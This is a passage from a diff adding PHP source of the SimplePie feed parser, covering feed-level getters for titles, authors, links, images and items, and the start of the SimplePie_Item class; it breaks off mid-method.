+			}
+		}
+		return null;
+	}
+
+	function get_base($element = array())
+	{
+		if (!($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION) && !empty($element['xml_base_explicit']) && isset($element['xml_base']))
+		{
+			return $element['xml_base'];
+		}
+		elseif ($this->get_link() !== null)
+		{
+			return $this->get_link();
+		}
+		else
+		{
+			return $this->subscribe_url();
+		}
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		return $this->sanitize->sanitize($data, $type, $base);
+	}
+
+	function get_title()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags('', 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] =& new $this->category_class($term, $scheme, $label);
+		}
+		foreach ((array) $this->get_channel_tags('', 'category') as $category)
+		{
+			$categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] =& new $this->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($categories))
+		{
+			return SimplePie_Misc::array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$authors[] =& new $this->author_class($name, $uri, $email);
+			}
+		}
+		if ($author = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'author'))
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($author[0]['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$authors[] =& new $this->author_class($name, $url, $email);
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'creator') as $author)
+		{
+			$authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'creator') as $author)
+		{
+			$authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'author') as $author)
+		{
+			$authors[] =& new $this->author_class($this->sanitize($author['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($authors))
+		{
+			return SimplePie_Misc::array_unique($authors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributor($key = 0)
+	{
+		$contributors = $this->get_contributors();
+		if (isset($contributors[$key]))
+		{
+			return $contributors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_contributors()
+	{
+		$contributors = array();
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'contributor') as $contributor)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $uri !== null)
+			{
+				$contributors[] =& new $this->author_class($name, $uri, $email);
+			}
+		}
+		foreach ((array) $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'contributor') as $contributor)
+		{
+			$name = null;
+			$url = null;
+			$email = null;
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data']))
+			{
+				$name = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data']))
+			{
+				$url = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['url'][0]));
+			}
+			if (isset($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data']))
+			{
+				$email = $this->sanitize($contributor['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['email'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if ($name !== null || $email !== null || $url !== null)
+			{
+				$contributors[] =& new $this->author_class($name, $url, $email);
+			}
+		}
+
+		if (!empty($contributors))
+		{
+			return SimplePie_Misc::array_unique($contributors);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_link($key = 0, $rel = 'alternate')
+	{
+		$links = $this->get_links($rel);
+		if (isset($links[$key]))
+		{
+			return $links[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Added for parity between the parent-level and the item/entry-level.
+	 */
+	function get_permalink()
+	{
+		return $this->get_link(0);
+	}
+
+	function get_links($rel = 'alternate')
+	{
+		if (!isset($this->data['links']))
+		{
+			$this->data['links'] = array();
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link'))
+			{
+				foreach ($links as $link)
+				{
+					if (isset($link['attribs']['']['href']))
+					{
+						$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
+						$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+
+					}
+				}
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+			if ($links = $this->get_channel_tags('', 'link'))
+			{
+				$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($links[0]));
+			}
+
+			$keys = array_keys($this->data['links']);
+			foreach ($keys as $key)
+			{
+				if (SimplePie_Misc::is_isegment_nz_nc($key))
+				{
+					if (isset($this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]))
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key]);
+						$this->data['links'][$key] =& $this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key];
+					}
+					else
+					{
+						$this->data['links'][SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY . $key] =& $this->data['links'][$key];
+					}
+				}
+				elseif (substr($key, 0, 41) == SIMPLEPIE_IANA_LINK_RELATIONS_REGISTRY)
+				{
+					$this->data['links'][substr($key, 41)] =& $this->data['links'][$key];
+				}
+				$this->data['links'][$key] = array_unique($this->data['links'][$key]);
+			}
+		}
+
+		if (isset($this->data['links'][$rel]))
+		{
+			return $this->data['links'][$rel];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_description()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'tagline'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags('', 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'description'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'summary'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'subtitle'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_copyright()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags('', 'copyright'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'rights'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_language()
+	{
+		if ($return = $this->get_channel_tags('', 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_11, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_DC_10, 'language'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_ATOM_03]['feed'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang']))
+		{
+			return $this->sanitize($this->data['child'][SIMPLEPIE_NAMESPACE_RDF]['RDF'][0]['xml_lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif (isset($this->data['headers']['content-language']))
+		{
+			return $this->sanitize($this->data['headers']['content-language'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_latitude()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_longitude()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_title()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags('', 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_url()
+	{
+		if ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ITUNES, 'image'))
+		{
+			return $this->sanitize($return[0]['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI);
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'logo'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_channel_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'icon'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags('', 'url'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_link()
+	{
+		if ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_image_tags('', 'link'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($return[0]));
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_width()
+	{
+		if ($return = $this->get_image_tags('', 'width'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags('', 'url'))
+		{
+			return 88.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_image_height()
+	{
+		if ($return = $this->get_image_tags('', 'height'))
+		{
+			return round($return[0]['data']);
+		}
+		elseif ($this->get_type() & SIMPLEPIE_TYPE_RSS_SYNDICATION && $this->get_image_tags('', 'url'))
+		{
+			return 31.0;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_item_quantity($max = 0)
+	{
+		$qty = count($this->get_items());
+		if ($max == 0)
+		{
+			return $qty;
+		}
+		else
+		{
+			return ($qty > $max) ? $max : $qty;
+		}
+	}
+
+	function get_item($key = 0)
+	{
+		$items = $this->get_items();
+		if (isset($items[$key]))
+		{
+			return $items[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_items($start = 0, $end = 0)
+	{
+		if (!empty($this->multifeed_objects))
+		{
+			return SimplePie::merge_items($this->multifeed_objects, $start, $end, $this->item_limit);
+		}
+		elseif (!isset($this->data['items']))
+		{
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'entry'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'entry'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'item'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_feed_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'item'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+			if ($items = $this->get_channel_tags('', 'item'))
+			{
+				$keys = array_keys($items);
+				foreach ($keys as $key)
+				{
+					$this->data['items'][] =& new $this->item_class($this, $items[$key]);
+				}
+			}
+		}
+
+		if (!empty($this->data['items']))
+		{
+			// If we want to order it by date, check if all items have a date, and then sort it
+			if ($this->order_by_date)
+			{
+				if (!isset($this->data['ordered_items']))
+				{
+					$do_sort = true;
+					foreach ($this->data['items'] as $item)
+					{
+						if (!$item->get_date('U'))
+						{
+							$do_sort = false;
+							break;
+						}
+					}
+					$item = null;
+					$this->data['ordered_items'] = $this->data['items'];
+					if ($do_sort)
+					{
+						usort($this->data['ordered_items'], array(&$this, 'sort_items'));
+					}
+				}
+				$items = $this->data['ordered_items'];
+			}
+			else
+			{
+				$items = $this->data['items'];
+			}
+
+			// Slice the data as desired
+			if ($end == 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			return array();
+		}
+	}
+
+	function sort_items($a, $b)
+	{
+		return $a->get_date('U') <= $b->get_date('U');
+	}
+
+	function merge_items($urls, $start = 0, $end = 0, $limit = 0)
+	{
+		if (is_array($urls) && sizeof($urls) > 0)
+		{
+			$items = array();
+			foreach ($urls as $arg)
+			{
+				if (is_a($arg, 'SimplePie'))
+				{
+					$items = array_merge($items, $arg->get_items(0, $limit));
+				}
+				else
+				{
+					trigger_error('Arguments must be SimplePie objects', E_USER_WARNING);
+				}
+			}
+
+			$do_sort = true;
+			foreach ($items as $item)
+			{
+				if (!$item->get_date('U'))
+				{
+					$do_sort = false;
+					break;
+				}
+			}
+			$item = null;
+			if ($do_sort)
+			{
+				usort($items, array('SimplePie', 'sort_items'));
+			}
+
+			if ($end == 0)
+			{
+				return array_slice($items, $start);
+			}
+			else
+			{
+				return array_slice($items, $start, $end);
+			}
+		}
+		else
+		{
+			trigger_error('Cannot merge zero SimplePie objects', E_USER_WARNING);
+			return array();
+		}
+	}
+}
+
+class SimplePie_Item
+{
+	var $feed;
+	var $data = array();
+
+	function SimplePie_Item($feed, $data)
+	{
+		$this->feed = $feed;
+		$this->data = $data;
+	}
+
+	function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+	
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	function __destruct()
+	{
+		unset($this->feed);
+	}
+
+	function get_item_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_base($element = array())
+	{
+		return $this->feed->get_base($element);
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		return $this->feed->sanitize($data, $type, $base);
+	}
+
+	function get_feed()
+	{
+		return $this->feed;
+	}
+
+	function get_id($hash = false)
+	{
+		if (!$hash)
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags('', 'guid'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier'))
+			{
+				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			elseif (($return = $this->get_permalink()) !== null)
+			{
+				return $return;
+			}
+			elseif (($return = $this->get_title()) !== null)
+			{
+				return $return;
+			}
+		}
+		if ($this->get_permalink() !== null || $this->get_title() !== null)
+		{
+			return md5($this->get_permalink() . $this->get_title());
+		}
+		else
+		{
+			return md5(serialize($this->data));
+		}
+	}
+
+	function get_title()
+	{
+		if (!isset($this->data['title']))
+		{
+			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+			{
+				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+			}
+			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+			{
